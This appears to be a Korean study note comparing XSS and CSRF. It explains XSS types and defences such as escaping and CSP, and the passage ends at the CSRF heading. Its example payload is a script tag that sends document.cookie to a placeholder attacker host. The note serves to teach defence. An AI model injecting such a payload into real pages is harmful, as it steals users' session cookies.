공격 유형 본질적 목적 쉽게 부르는 이름
XSS 브라우저 내부 자산 탈취 (쿠키, localStorage, 세션 등) 토큰 탈취 공격
CSRF 사용자 권한 탈취 (의도하지 않은 요청 실행) 권한 도용 공격, 세션 위조 요청

✅ XSS (Cross-Site Scripting)

: 공격자가 악성 스크립트를 사용자 브라우저에 삽입하는 공격


📌 어떤 상황?

📦 예시

<p>안녕하세요, 홍길동 님!</p>

👉 그런데 입력값이 아래와 같다면?

<script>fetch('<https://attacker.com/steal?cookie=>' + document.cookie)</script>

👿 이게 실제 HTML로 삽입되면, 브라우저는 이 코드를 실행해서 쿠키, 로컬스토리지 등 민감 정보 탈취 가능


📂 종류

유형 설명
Stored XSS DB에 저장된 악성 스크립트 (댓글, 프로필 등)
Reflected XSS URL에 포함된 스크립트가 바로 페이지에 반영됨
DOM-based XSS JS 코드에서 DOM 조작 중 발생 (innerHTML 등)

🔒 방어 방법

방법 설명
입력값 검증 (Validation) <, > 등 특수문자 필터링 또는 이스케이프
출력 시 이스케이프 (Escape) &lt;script&gt; 등으로 변환
Content Security Policy (CSP) 외부 스크립트 실행 차단
React/Vue 사용 시 자동 방어 dangerouslySetInnerHTML 같은 함수만 주의하면 안전

✅ CSRF (Cross-Site Request Forgery)